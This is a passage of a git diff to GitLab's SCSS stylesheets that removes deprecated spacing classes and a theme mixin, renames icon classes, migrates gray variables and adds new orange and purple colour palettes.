.overflow-visible { overflow: visible; }
@@ -454,35 +453,6 @@ img.emoji {
}
}
-/** COMMON SPACING CLASSES **/
-/**
- 🚨 Do not use these classes — they are deprecated and being removed. 🚨
- See https://gitlab.com/gitlab-org/gitlab/issues/36857 for more details.
-
- Instead, if you need a spacing class, please use one from Gitlab UI —
- https://unpkg.com/browse/@gitlab/ui/src/scss/utilities.scss — which uses the following scale.
- $gl-spacing-scale-0: 0;
- $gl-spacing-scale-1: 2px;
- $gl-spacing-scale-2: 4px;
- $gl-spacing-scale-3: 8px;
- $gl-spacing-scale-4: 12px;
- $gl-spacing-scale-5: 16px;
- $gl-spacing-scale-6: 24px;
- $gl-spacing-scale-7: 32px;
- $gl-spacing-scale-8: 40px;
- $gl-spacing-scale-9: 48px;
- $gl-spacing-scale-10: 56px;
- $gl-spacing-scale-11: 64px;
- $gl-spacing-scale-12: 80px;
- $gl-spacing-scale-13: 96px;
-**/
-@each $index, $padding in $spacing-scale {
- #{'.gl-p-#{$index}-deprecated-no-really-do-not-use-me'} { padding: $padding; }
- #{'.gl-pl-#{$index}-deprecated-no-really-do-not-use-me'} { padding-left: $padding; }
- #{'.gl-pr-#{$index}-deprecated-no-really-do-not-use-me'} { padding-right: $padding; }
- #{'.gl-pt-#{$index}-deprecated-no-really-do-not-use-me'} { padding-top: $padding; }
- #{'.gl-pb-#{$index}-deprecated-no-really-do-not-use-me'} { padding-bottom: $padding; }
-}
/**
* Removes browser specific clear icon from input fields in
@@ -557,4 +527,3 @@ img.emoji {
See https://gitlab.com/gitlab-org/gitlab/issues/36857 for more details.
**/
.gl-line-height-14 { line-height: $gl-line-height-14; }
-.gl-font-size-20 { font-size: $gl-font-size-20; }
diff --git a/app/assets/stylesheets/framework/dropdowns.scss b/app/assets/stylesheets/framework/dropdowns.scss
index 6b742853f8f..ad5864ef6d9 100644
--- a/app/assets/stylesheets/framework/dropdowns.scss
+++ b/app/assets/stylesheets/framework/dropdowns.scss
@@ -164,14 +164,20 @@
right: 8px;
}
- .ic-chevron-down {
+ .dropdown-menu-toggle-icon {
position: absolute;
- top: $gl-padding-8;
right: $gl-padding-8;
color: $gray-darkest;
}
}
+.labels {
+ // Prevent double scroll-bars for labels dropdown.
+ .dropdown-menu-toggle.wide + .dropdown-select {
+ max-height: unset;
+ }
+}
+
.gl-dropdown .dropdown-menu-toggle {
padding-right: $gl-padding-8;
@@ -410,7 +416,7 @@
flex-direction: column;
.reference {
- color: $gl-gray-400;
+ color: $gray-300;
margin-top: $gl-padding-4;
}
}
@@ -590,11 +596,8 @@
}
.dropdown-title-button {
- position: absolute;
- top: 0;
padding: 0;
color: $dropdown-title-btn-color;
- font-size: 14px;
border: 0;
background: none;
outline: 0;
@@ -604,20 +607,9 @@
}
}
-.dropdown-menu-close {
- top: $gl-padding-4;
- right: $gl-padding-8;
- width: 20px;
- height: 20px;
-}
-
-.dropdown-menu-close-icon {
- vertical-align: middle;
-}
-
.dropdown-menu-back {
- left: 7px;
- top: 2px;
+ left: 10px;
+ top: $gl-padding-8;
}
.dropdown-input {
@@ -627,7 +619,8 @@
.fa,
.input-icon,
- .ic-search {
+ .dropdown-input-clear,
+ .dropdown-input-search {
position: absolute;
top: $gl-padding-8;
right: 20px;
@@ -666,25 +659,27 @@
width: 100%;
min-height: 30px;
padding: 0 7px;
- color: $gl-gray-700;
+ color: $gray-700;
line-height: 30px;
border: 1px solid $dropdown-divider-bg;
border-radius: 2px;
outline: 0;
&:focus {
- color: $gl-gray-700;
+ color: $gray-700;
border-color: $blue-300;
box-shadow: 0 0 4px $dropdown-input-focus-shadow;
- ~ .fa {
- color: $gl-gray-700;
+ ~ .fa,
+ ~ .dropdown-input-clear {
+ color: $gray-700;
}
}
&:hover {
- ~ .fa {
- color: $gl-gray-700;
+ ~ .fa,
+ ~ .dropdown-input-clear {
+ color: $gray-700;
}
}
}
@@ -1070,7 +1065,7 @@ header.header-content .dropdown-menu.frequent-items-dropdown-menu {
color: $dropdown-title-btn-color;
&:hover {
- color: $gl-gray-400;
+ color: $gray-300;
}
}
}
@@ -1105,3 +1100,42 @@ header.header-content .dropdown-menu.frequent-items-dropdown-menu {
}
}
}
+
+// This class won't be needed once we can directly add utility classes to the child
+// https://github.com/bootstrap-vue/bootstrap-vue/issues/5669
+.gl-dropdown-text-py-0 {
+ .b-dropdown-text {
+ padding-top: 0;
+ padding-bottom: 0;
+ }
+}
+
+// This class won't be needed once we can directly add utility classes to the child
+// https://github.com/bootstrap-vue/bootstrap-vue/issues/5669
+.gl-dropdown-text-block {
+ .b-dropdown-text {
+ display: block;
+ }
+}
+
+// This class won't be needed once we can add a prop for this in the GitLab UI component
+// https://gitlab.com/gitlab-org/gitlab-ui/-/issues/966
+.gl-new-dropdown {
+ .gl-dropdown-menu-wide {
+ width: $gl-dropdown-width-wide;
+ }
+}
+
+.gl-dropdown-item-deprecated-adapter {
+ .dropdown-item {
+ align-items: flex-start;
+
+ .gl-new-dropdown-item-text-primary {
+ @include gl-font-weight-bold;
+ }
+
+ .gl-new-dropdown-item-text-secondary {
+ color: inherit;
+ }
+ }
+}
diff --git a/app/assets/stylesheets/framework/files.scss b/app/assets/stylesheets/framework/files.scss
index ef7d39a5e7e..76c6e03377c 100644
--- a/app/assets/stylesheets/framework/files.scss
+++ b/app/assets/stylesheets/framework/files.scss
@@ -183,7 +183,7 @@
&.line-numbers {
float: none;
- border-left: 1px solid $gl-gray-100;
+ border-left: 1px solid $gray-100;
i {
float: none;
@@ -300,7 +300,7 @@ span.idiff {
.renamed-file {
a {
- color: $orange-600;
+ color: $orange-500;
}
}
@@ -495,9 +495,12 @@ span.idiff {
max-height: 20rem;
}
-#js-openapi-viewer pre.version {
- background-color: transparent;
- border: transparent;
+#js-openapi-viewer {
+ pre.version,
+ code {
+ background-color: transparent;
+ border: transparent;
+ }
}
.code-navigation-line:hover {
diff --git a/app/assets/stylesheets/framework/filters.scss b/app/assets/stylesheets/framework/filters.scss
index ed4281123cd..1a394ad124b 100644
--- a/app/assets/stylesheets/framework/filters.scss
+++ b/app/assets/stylesheets/framework/filters.scss
@@ -243,7 +243,7 @@
}
}
- .fa-times {
+ .clear-search-icon {
right: 10px;
color: $gray-darkest;
}
@@ -255,7 +255,7 @@
outline: none;
z-index: 1;
- &:hover .fa-times {
+ &:hover .clear-search-icon {
color: $common-gray-dark;
}
}
@@ -348,11 +348,11 @@
}
@include media-breakpoint-down(sm) {
- .issues-details-filters {
- padding-top: 0;
- padding-bottom: 0;
+ .issues-details-filters,
+ .epics-details-filters {
+ padding-top: $gl-padding-8;
+ padding-bottom: $gl-padding-8;
background-color: $white;
- border-top: 0;
}
.boards-switcher {
diff --git a/app/assets/stylesheets/framework/flash.scss b/app/assets/stylesheets/framework/flash.scss
index d604d97d270..0fb91db0afb 100644
--- a/app/assets/stylesheets/framework/flash.scss
+++ b/app/assets/stylesheets/framework/flash.scss
@@ -65,8 +65,8 @@ $notification-box-shadow-color: rgba(0, 0, 0, 0.25);
}
.flash-warning {
- background-color: $orange-100;
- color: $orange-800;
+ background-color: $orange-50;
+ color: $gray-900;
cursor: default;
}
diff --git a/app/assets/stylesheets/framework/gfm.scss b/app/assets/stylesheets/framework/gfm.scss
index fbafb22cf37..579a68ac8e4 100644
--- a/app/assets/stylesheets/framework/gfm.scss
+++ b/app/assets/stylesheets/framework/gfm.scss
@@ -13,7 +13,7 @@
border-radius: $border-radius-default;
&.current-user {
- background-color: $orange-100;
+ background-color: $orange-50;
}
}
diff --git a/app/assets/stylesheets/framework/gitlab_theme.scss b/app/assets/stylesheets/framework/gitlab_theme.scss
deleted file mode 100644
index 97bd6ca6fe2..00000000000
--- a/app/assets/stylesheets/framework/gitlab_theme.scss
+++ /dev/null
@@ -1,431 +0,0 @@
-/**
- * Styles the GitLab application with a specific color theme
- */
-
-@mixin gitlab-theme(
- $search-and-nav-links,
- $active-tab-border,
- $border-and-box-shadow,
- $sidebar-text,
- $nav-svg-color,
- $color-alternate
-) {
- // Header
-
- .navbar-gitlab {
- background-color: $nav-svg-color;
-
- .navbar-collapse {
- color: $search-and-nav-links;
- }
-
- .container-fluid {
- .navbar-toggler {
- border-left: 1px solid lighten($border-and-box-shadow, 10%);
-
- svg {
- fill: $search-and-nav-links;
- }
- }
- }
-
- .navbar-sub-nav,
- .navbar-nav {
- > li {
- > a,
- > button {
- &:hover,
- &:focus {
- background-color: rgba($search-and-nav-links, 0.2);
- }
- }
-
- &.active,
- &.dropdown.show {
- > a,
- > button {
- color: $nav-svg-color;
- background-color: $color-alternate;
- }
- }
-
- &.line-separator {
- border-left: 1px solid rgba($search-and-nav-links, 0.2);
- }
- }
- }
-
- .navbar-sub-nav {
- color: $search-and-nav-links;
- }
-
- .nav {
- > li {
- color: $search-and-nav-links;
-
- > a {
- &.header-user-dropdown-toggle {
- .header-user-avatar {
- border-color: $search-and-nav-links;
- }
-
- .header-user-notification-dot {
- border: 2px solid $nav-svg-color;
- }
- }
-
- &:hover,
- &:focus {
- @include media-breakpoint-up(sm) {
- background-color: rgba($search-and-nav-links, 0.2);
- }
-
- svg {
- fill: currentColor;
- }
-
- &.header-user-dropdown-toggle .header-user-notification-dot {
- border-color: $nav-svg-color + 33;
- }
- }
- }
-
- &.active > a,
- &.dropdown.show > a {
- color: $nav-svg-color;
- background-color: $color-alternate;
-
- &:hover {
- svg {
- fill: $nav-svg-color;
- }
- }
-
- &.header-user-dropdown-toggle .header-user-notification-dot {
- border-color: $white;
- }
- }
-
- .impersonated-user,
- .impersonated-user:hover {
- svg {
- fill: $nav-svg-color;
- }
- }
- }
- }
- }
-
- .navbar .title {
- > a {
- &:hover,
- &:focus {
- background-color: rgba($search-and-nav-links, 0.2);
- }
- }
- }
-
- .search {
- form {
- background-color: rgba($search-and-nav-links, 0.2);
-
- &:hover {
- background-color: rgba($search-and-nav-links, 0.3);
- }
- }
-
- .search-input::placeholder {
- color: rgba($search-and-nav-links, 0.8);
- }
-
- .search-input-wrap {
- .search-icon,
- .clear-icon {
- fill: rgba($search-and-nav-links, 0.8);
- }
- }
-
- &.search-active {
- form {
- background-color: $white;
- }
-
- .search-input-wrap {
- .search-icon {
- fill: rgba($search-and-nav-links, 0.8);
- }
- }
- }
- }
-
- // Sidebar
- .nav-sidebar li.active {
- box-shadow: inset 4px 0 0 $border-and-box-shadow;
-
- > a {
- color: $sidebar-text;
- }
-
- .nav-icon-container svg {
- fill: $sidebar-text;
- }
- }
-
- .sidebar-top-level-items > li.active .badge.badge-pill {
- color: $sidebar-text;
- }
-
- .nav-links li {
- &.active a,
- &.md-header-tab.active button,
- a.active {
- border-bottom: 2px solid $active-tab-border;
-
- .badge.badge-pill {
- font-weight: $gl-font-weight-bold;
- }
- }
- }
-
- .branch-header-title {
- color: $border-and-box-shadow;
- }
-
- .ide-sidebar-link {
- &.active {
- color: $border-and-box-shadow;
- box-shadow: inset 3px 0 $border-and-box-shadow;
-
- &.is-right {
- box-shadow: inset -3px 0 $border-and-box-shadow;
- }
- }
- }
-}
-
-body {
- &.ui-indigo {
- @include gitlab-theme(
- $indigo-200,
- $indigo-500,
- $indigo-700,
- $indigo-800,
- $indigo-900,
- $white
- );
- }
-
- &.ui-light-indigo {
- @include gitlab-theme(
- $indigo-200,
- $indigo-500,
- $indigo-500,
- $indigo-700,
- $indigo-700,
- $white
- );
- }
-
- &.ui-blue {
- @include gitlab-theme(
- $theme-blue-200,
- $theme-blue-500,
- $theme-blue-700,
- $theme-blue-800,
- $theme-blue-900,
- $white
- );
- }
-
- &.ui-light-blue {
- @include gitlab-theme(
- $theme-light-blue-200,
- $theme-light-blue-500,
- $theme-light-blue-500,
- $theme-light-blue-700,
- $theme-light-blue-700,
- $white
- );
- }
-
- &.ui-green {
- @include gitlab-theme(
- $theme-green-200,
- $theme-green-500,
- $theme-green-700,
- $theme-green-800,
- $theme-green-900,
- $white
- );
- }
-
- &.ui-light-green {
- @include gitlab-theme(
- $theme-green-200,
- $theme-green-500,
- $theme-green-500,
- $theme-light-green-700,
- $theme-light-green-700,
- $white
- );
- }
-
- &.ui-red {
- @include gitlab-theme(
- $theme-red-200,
- $theme-red-500,
- $theme-red-700,
- $theme-red-800,
- $theme-red-900,
- $white
- );
- }
-
- &.ui-light-red {
- @include gitlab-theme(
- $theme-light-red-200,
- $theme-light-red-500,
- $theme-light-red-500,
- $theme-light-red-700,
- $theme-light-red-700,
- $white
- );
- }
-
- &.ui-dark {
- @include gitlab-theme(
- $gray-200,
- $gray-300,
- $gray-500,
- $gray-700,
- $gray-900,
- $white
- );
- }
-
- &.ui-light {
- @include gitlab-theme(
- $gray-500,
- $gray-700,
- $gray-500,
- $gray-500,
- $gray-50,
- $gray-500
- );
-
- .navbar-gitlab {
- background-color: $gray-50;
- box-shadow: 0 1px 0 0 $border-color;
-
- .logo-text svg {
- fill: $gray-900;
- }
-
- .navbar-sub-nav,
- .navbar-nav {
- > li {
- > a:hover,
- > a:focus,
- > button:hover {
- color: $gray-900;
- }
-
- &.active > a,
- &.active > a:hover,
- &.active > button {
- color: $white;
- }
- }
- }
-
- .container-fluid {
- .navbar-toggler,
- .navbar-toggler:hover {
- color: $gray-500;
- border-left: 1px solid $gray-100;
- }
- }
- }
-
- .search {
- form {
- background-color: $white;
- box-shadow: inset 0 0 0 1px $border-color;
-
- &:hover {
- background-color: $white;
- box-shadow: inset 0 0 0 1px $blue-200;
- }
- }
-
- .search-input-wrap {
- .search-icon {
- fill: $gray-100;
- }
-
- .search-input {
- color: $gl-text-color;
- }
- }
- }
-
- .nav-sidebar li.active {
- > a {
- color: $gray-900;
- }
-
- svg {
- fill: $gray-900;
- }
- }
-
- .sidebar-top-level-items > li.active .badge.badge-pill {
- color: $gray-900;
- }
- }
-
- &.gl-dark {
- .logo-text svg {
- fill: $gl-text-color;
- }
-
- .navbar-gitlab {
- background-color: $gray-50;
-
- .navbar-sub-nav,
- .navbar-nav {
- li {
- > a:hover,
- > a:focus,
- > button:hover,
- > button:focus {
- color: $gl-text-color;
- background-color: $gray-200;
- }
- }
-
- li.active,
- li.dropdown.show {
- > a,
- > button {
- color: $gl-text-color;
- background-color: $gray-200;
- }
- }
- }
-
- .search {
- form {
- background-color: $gray-100;
- box-shadow: inset 0 0 0 1px $border-color;
-
- &:active,
- &:hover {
- background-color: $gray-100;
- box-shadow: inset 0 0 0 1px $blue-200;
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index 50628c7de82..cf21c23cb17 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -235,9 +235,8 @@
border-top-left-radius: 0;
border-bottom-left-radius: 0;
- i {
+ svg {
color: $orange-500;
- font-size: 20px;
}
}
}
@@ -459,15 +458,15 @@
box-shadow: 0 1px 0 rgba($gl-header-color, 0.2);
&.green-badge {
- background-color: $green-500;
+ background-color: $green-400;
}
&.merge-requests-count {
- background-color: $orange-600;
+ background-color: $orange-400;
}
&.todos-count {
- background-color: $blue-500;
+ background-color: $blue-400;
}
}
diff --git a/app/assets/stylesheets/framework/job_log.scss b/app/assets/stylesheets/framework/job_log.scss
index 2448be1bca3..d48a5116677 100644
--- a/app/assets/stylesheets/framework/job_log.scss
+++ b/app/assets/stylesheets/framework/job_log.scss
@@ -17,7 +17,7 @@
}
.line-number {
- color: $gl-gray-500;
+ color: $gray-500;
padding: 0 $gl-padding-8;
min-width: $job-line-number-width;
margin-left: -$job-line-number-margin;
@@ -28,7 +28,7 @@
&:active,
&:visited {
text-decoration: underline;
- color: $gl-gray-500;
+ color: $gray-500;
}
}
@@ -43,7 +43,7 @@
}
.log-duration-badge {
- background: $gl-gray-400;
+ background: $gray-300;
}
.loader-animation {
diff --git a/app/assets/stylesheets/framework/lists.scss b/app/assets/stylesheets/framework/lists.scss
index 738150dbd2e..2464ea3607b 100644
--- a/app/assets/stylesheets/framework/lists.scss
+++ b/app/assets/stylesheets/framework/lists.scss
@@ -34,17 +34,6 @@
}
}
- &.warning-row {
- background-color: $orange-100;
- border-color: $orange-200;
- color: $orange-700;
-
- &:hover {
- background: $orange-100;
- }
-
- }
-
&.smoke { background-color: $gray-light; }
&:last-child {
@@ -132,10 +121,10 @@ ul.content-list {
a {
color: $gl-text-color;
- }
- .member-group-link {
- color: $blue-600;
+ &.inline-link {
+ color: $blue-600;
+ }
}
.description {
diff --git a/app/assets/stylesheets/framework/secondary_navigation_elements.scss b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
index 1352fa13e1a..292d57f132c 100644
--- a/app/assets/stylesheets/framework/secondary_navigation_elements.scss
+++ b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
@@ -97,13 +97,8 @@
}
/* Small devices (phones, tablets, 768px and lower) */
- @include media-breakpoint-down(xs) {
+ @include media-breakpoint-down(sm) {
width: 100%;
-
- &.mobile-separator {
- border-bottom: 1px solid $border-color;
- margin-bottom: $gl-padding-8;
- }
}
}
diff --git a/app/assets/stylesheets/framework/selects.scss b/app/assets/stylesheets/framework/selects.scss
index e81ecfb43d5..86a5aa1a16e 100644
--- a/app/assets/stylesheets/framework/selects.scss
+++ b/app/assets/stylesheets/framework/selects.scss
@@ -300,7 +300,7 @@
}
.group-path {
- color: $gl-gray-400;
+ color: $gray-300;
}
}
@@ -310,7 +310,7 @@
}
.project-path {
- color: $gl-gray-400;
+ color: $gray-300;
}
}
@@ -332,7 +332,7 @@
.namespace-result {
.namespace-kind {
- color: $gl-gray-350;
+ color: $gray-300;
font-weight: $gl-font-weight-normal;
}
diff --git a/app/assets/stylesheets/framework/sidebar.scss b/app/assets/stylesheets/framework/sidebar.scss
index 4ba9db811b7..d867cc96dbc 100644
--- a/app/assets/stylesheets/framework/sidebar.scss
+++ b/app/assets/stylesheets/framework/sidebar.scss
@@ -145,6 +145,13 @@
.value.dont-hide ~ .selectbox {
padding-top: $gl-padding-8;
}
+
+ // This is for sidebar components using gl-button for the Edit button to be consistent with the
+ // rest of the sidebar, and could be removed once the sidebar has been fully converted to use
+ // gitlab-ui components.
+ .title .gl-button {
+ color: $gl-text-color;
+ }
}
.pikaday-container {
diff --git a/app/assets/stylesheets/framework/spinner.scss b/app/assets/stylesheets/framework/spinner.scss
index d734895c7dc..a74aeb9f220 100644
--- a/app/assets/stylesheets/framework/spinner.scss
+++ b/app/assets/stylesheets/framework/spinner.scss
@@ -31,7 +31,7 @@
border-style: solid;
display: inline-flex;
@include spinner-size(16px, 2px);
- @include spinner-color($orange-600);
+ @include spinner-color($orange-400);
&.spinner-md {
@include spinner-size(32px, 3px);
diff --git a/app/assets/stylesheets/framework/stacked_progress_bar.scss b/app/assets/stylesheets/framework/stacked_progress_bar.scss
index a3037549881..37283db8b71 100644
--- a/app/assets/stylesheets/framework/stacked_progress_bar.scss
+++ b/app/assets/stylesheets/framework/stacked_progress_bar.scss
@@ -37,7 +37,7 @@
.status-neutral {
background-color: $gray-100;
- color: $gl-gray-dark;
+ color: $gray-900;
&:hover {
background-color: $gray-200;
diff --git a/app/assets/stylesheets/framework/tables.scss b/app/assets/stylesheets/framework/tables.scss
index 1f60485aa36..59e83608d9d 100644
--- a/app/assets/stylesheets/framework/tables.scss
+++ b/app/assets/stylesheets/framework/tables.scss
@@ -180,3 +180,37 @@ table {
border-top: 0;
}
}
+
+.vulnerability-list {
+ @media (min-width: $breakpoint-sm) {
+ .checkbox {
+ padding-left: $gl-spacing-scale-4;
+ padding-right: 0;
+
+ + td,
+ + th {
+ padding-left: $gl-spacing-scale-4;
+ }
+ }
+
+ .detected {
+ width: 9%;
+ }
+
+ .status {
+ width: 8%;
+ }
+
+ .severity {
+ width: 10%;
+ }
+
+ .identifier {
+ width: 16%;
+ }
+
+ .scanner {
+ width: 15%;
+ }
+ }
+}
diff --git a/app/assets/stylesheets/framework/typography.scss b/app/assets/stylesheets/framework/typography.scss
index 8758fe15870..8b5fa6c1b6c 100644
--- a/app/assets/stylesheets/framework/typography.scss
+++ b/app/assets/stylesheets/framework/typography.scss
@@ -84,7 +84,7 @@
padding: 3px 5px;
font-size: 11px;
line-height: 10px;
- color: $gl-gray-700;
+ color: $gray-700;
vertical-align: middle;
background-color: $gray-10;
border-width: 1px;
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index 69e00f9b2c4..8cebfc430e0 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -104,15 +104,6 @@ $t-gray-a-04: rgba($black, 0.04) !default;
$t-gray-a-06: rgba($black, 0.06) !default;
$t-gray-a-08: rgba($black, 0.08) !default;
-$gl-gray-100: #ddd !default;
-$gl-gray-200: #ccc !default;
-$gl-gray-350: #aaa !default;
-$gl-gray-400: #999 !default;
-$gl-gray-500: #777 !default;
-$gl-gray-600: #666 !default;
-$gl-gray-700: #555 !default;
-$gl-gray-800: #333 !default;
-
$green-50: #ecf4ee !default;
$green-100: #c3e6cd !default;
$green-200: #91d4a8 !default;
@@ -137,17 +128,17 @@ $blue-800: #064787 !default;
$blue-900: #033464 !default;
$blue-950: #002850 !default;
-$orange-50: #fffaf4 !default;
-$orange-100: #fff1de !default;
-$orange-200: #fed69f !default;
-$orange-300: #fdbc60 !default;
-$orange-400: #fca429 !default;
-$orange-500: #fc9403 !default;
-$orange-600: #de7e00 !default;
-$orange-700: #c26700 !default;
-$orange-800: #a35200 !default;
-$orange-900: #853c00 !default;
-$orange-950: #592800 !default;
+$orange-50: #fdf1dd !default;
+$orange-100: #f5d9a8 !default;
+$orange-200: #e9be74 !default;
+$orange-300: #d99530 !default;
+$orange-400: #c17d10 !default;
+$orange-500: #ab6100 !default;
+$orange-600: #9e5400 !default;
+$orange-700: #8f4700 !default;
+$orange-800: #703800 !default;
+$orange-900: #5c2900 !default;
+$orange-950: #421f00 !default;
$red-50: #fcf1ef !default;
$red-100: #fdd4cd !default;
@@ -161,6 +152,18 @@ $red-800: #8d1300 !default;
$red-900: #660e00 !default;
$red-950: #4d0a00 !default;
+$purple-50: #f4f0ff !default;
+$purple-100: #e1d8f9 !default;
+$purple-200: #cbbbf2 !default;
+$purple-300: #ac93e6 !default;
+$purple-400: #9475db !default;
+$purple-500: #7b58cf !default;
+$purple-600: #694cc0 !default;
+$purple-700: #5943b6 !default;
+$purple-800: #453894 !default;
+$purple-900: #2f2a6b !default;
+$purple-950: #232150 !default;
+
$gray-10: #fafafa !default;
$gray-50: #f0f0f0 !default;
$gray-100: #dbdbdb !default;
@@ -230,6 +233,20 @@ $reds: (
'950': $red-950
);
+$purples: (
+ '50': $purple-50,
+ '100': $purple-100,
+ '200': $purple-200,
+ '300': $purple-300,
+ '400': $purple-400,
+ '500': $purple-500,
+ '600': $purple-600,
+ '700': $purple-700,
+ '800': $purple-800,
+ '900': $purple-900,
+ '950': $purple-950
+);
+
$grays: (
'10': $gray-10,
'50': $gray-50,
@@ -357,13 +374,10 @@ $gl-text-color-inverted: $white;
$gl-text-color-secondary-inverted: rgba($white, 0.85);
$gl-text-color-disabled: $gray-400;
$gl-grayish-blue: #7f8fa4;
-$gl-gray-dark: #313236;
-$gl-gray-light: #5c5c5c;
$gl-header-color: #4c4e54;
$gl-font-size-12: 12px;
$gl-font-size-14: 14px;
$gl-font-size-16: 16px;
-$gl-font-size-20: 20px;
$gl-font-size-28: 28px;
$gl-font-size-42: 42px;
@@ -484,6 +498,22 @@ $line-added: #ecfdf0;
$line-added-dark: #c7f0d2 !default;
$line-removed: #fbe9eb;
$line-removed-dark: #fac5cd !default;
+/*
+ * The transparent colors are used in Monaco editor. Using full opacity colors
+ * would hide other layers (selected text, matching brackets).
+ *
+ * When the transparent colors get layered on white background, they create their
+ * full opacity counterparts (computed with https://stackoverflow.com/a/12228643/606571):
+ *
+ * - white + $line-added-transparent = $line-added
+ * - white + $line-added-transparent + $line-added-dark-transparent = $line-added-dark
+ *
+ * More details: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41553
+ */
+$line-added-transparent: rgba(160, 245, 180, 0.2);
+$line-added-dark-transparent: rgba(51, 188, 90, 0.2);
+$line-removed-transparent: rgba(235, 145, 155, 0.2);
+$line-removed-dark-transparent: rgba(246, 53, 85, 0.2);
$line-number-old: #f9d7dc;
$line-number-new: #ddfbe6;
$line-number-select: #fbf2da;
@@ -588,7 +618,6 @@ $award-emoji-width-xs: 90%;
$search-input-border-color: rgba($blue-400, 0.8);
$search-input-width: 200px;
$search-input-xl-width: 320px;
-$location-icon-color: #e7e9ed;
/*
* Notes
@@ -894,8 +923,3 @@ $compare-branches-sticky-header-height: 68px;
- Issue: https://gitlab.com/gitlab-org/design.gitlab.com/issues/242
*/
$enable-validation-icons: false;
-
-/*
-Licenses
-*/
-$license-header-cell-width: 150px;
diff --git a/app/assets/stylesheets/framework/wells.scss b/app/assets/stylesheets/framework/wells.scss
index 3eff1807403..55996a074c6 100644
--- a/app/assets/stylesheets/framework/wells.scss
+++ b/app/assets/stylesheets/framework/wells.scss
@@ -110,10 +110,6 @@
.dark-well {
background-color: $gray-normal;
-
- .btn {
- width: 100%;
- }
}
.card.card-body-centered {
diff --git a/app/assets/stylesheets/framework/zen.scss b/app/assets/stylesheets/framework/zen.scss
index dd5b99be57e..62abf4a7683 100644
--- a/app/assets/stylesheets/framework/zen.scss
+++ b/app/assets/stylesheets/framework/zen.scss
@@ -35,7 +35,7 @@
.zen-control {
padding: 0;
- color: $gl-gray-700;
+ color: $gray-700;
background: none;
border: 0;
}
diff --git a/app/assets/stylesheets/mailer.scss b/app/assets/stylesheets/mailer.scss
index f188b29a113..a5fc92237df 100644
--- a/app/assets/stylesheets/mailer.scss
+++ b/app/assets/stylesheets/mailer.scss
@@ -48,6 +48,22 @@ a {
font-weight: 500;
}
+.invite-header {
+ margin-top: 0;
+}
+
+.invite-actions {
+ margin-top: 24px;
+}
+
+.invite-btn-join {
+ border-radius: $border-radius-default;
+ padding: $gl-btn-vert-padding $gl-btn-horz-padding;
+ cursor: pointer;
+ background-color: $purple;
+ color: $white;
+}
+
tr td {
font-family: $mailer-font;
}
diff --git a/app/assets/stylesheets/notify.scss b/app/assets/stylesheets/notify.scss
index 6320c10fb51..d281f62c370 100644
--- a/app/assets/stylesheets/notify.scss
+++ b/app/assets/stylesheets/notify.scss
@@ -7,12 +7,12 @@ img {
p.details {
font-style: italic;
- color: $gl-gray-500;
+ color: $gray-500;
}
.footer > p {
font-size: small;
- color: $gl-gray-500;
+ color: $gray-500;
}
pre.commit-message {
diff --git a/app/assets/stylesheets/page_bundles/_ide_monaco_overrides.scss b/app/assets/stylesheets/page_bundles/_ide_monaco_overrides.scss
index 0b847902525..57053c7f0cb 100644
--- a/app/assets/stylesheets/page_bundles/_ide_monaco_overrides.scss
+++ b/app/assets/stylesheets/page_bundles/_ide_monaco_overrides.scss
@@ -19,14 +19,6 @@
display: none;
}
- .monaco-editor .selected-text {
- z-index: 1;
- }
-
- .monaco-editor .view-lines {
- z-index: 2;
- }
-
.is-readonly .editor.original {
.view-lines {
cursor: default;
@@ -98,11 +90,11 @@
}
.char-insert {
- background-color: $line-added-dark;
+ background-color: $line-added-dark-transparent;
}
.char-delete {
- background-color: $line-removed-dark;
+ background-color: $line-removed-dark-transparent;
}
.line-numbers {
@@ -111,11 +103,11 @@
.view-overlays {
.line-insert {
- background-color: $line-added;
+ background-color: $line-added-transparent;
}
.line-delete {
- background-color: $line-removed;
+ background-color: $line-removed-transparent;
}
}
diff --git a/app/assets/stylesheets/page_bundles/_ide_theme_overrides.scss b/app/assets/stylesheets/page_bundles/_ide_theme_overrides.scss
index dfd7fd355a4..1e239877428 100644
--- a/app/assets/stylesheets/page_bundles/_ide_theme_overrides.scss
+++ b/app/assets/stylesheets/page_bundles/_ide_theme_overrides.scss
@@ -84,7 +84,8 @@
color: var(--ide-input-border, $gl-text-color-tertiary);
}
- .dropdown-input .fa {
+ .dropdown-input .fa,
+ .dropdown-input .dropdown-input-clear {
color: var(--ide-input-border, $dropdown-input-fa-color);
}
diff --git a/app/assets/stylesheets/page_bundles/_mixins_and_variables_and_functions.scss b/app/assets/stylesheets/page_bundles/_mixins_and_variables_and_functions.scss
new file mode 100644
index 00000000000..0e8ea5e2d52
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/_mixins_and_variables_and_functions.scss
@@ -0,0 +1,21 @@
+/**
+ This file contains only imports of Bootstrap, GitLab UI and GitLab mixins,
+ variables and functions, in the correct order.
+
+ It is meant to be used in page_bundles, but SHOULD NOT introduce any
+ styles of it's own. We actually check in CI that compiling _this_ file doesn't
+ result in any additional styles.
+
+ See: scripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js
+ */
+@import 'framework/variables';
+@import 'framework/variables_overrides';
+@import 'framework/mixins';
+
+@import 'bootstrap/scss/functions';
+@import 'bootstrap/scss/variables';
+@import 'bootstrap/scss/mixins';
+
+@import '@gitlab/ui/src/scss/functions';
+@import '@gitlab/ui/src/scss/variables';
+@import '@gitlab/ui/src/scss/utility-mixins/index';
diff --git a/app/assets/stylesheets/page_bundles/ide.scss b/app/assets/stylesheets/page_bundles/ide.scss
index 36587ecde3d..71e74297ee8 100644
--- a/app/assets/stylesheets/page_bundles/ide.scss
+++ b/app/assets/stylesheets/page_bundles/ide.scss
@@ -1080,7 +1080,7 @@ $ide-commit-header-height: 48px;
max-width: 24px;
padding: 0;
margin: 0 ($grid-size / 2);
- color: var(--ide-text-color-secondary, $gl-gray-light);
+ color: var(--ide-text-color-secondary, $gray-600);
&:first-child {
margin-left: 0;
diff --git a/app/assets/stylesheets/page_bundles/jira_connect.scss b/app/assets/stylesheets/page_bundles/jira_connect.scss
new file mode 100644
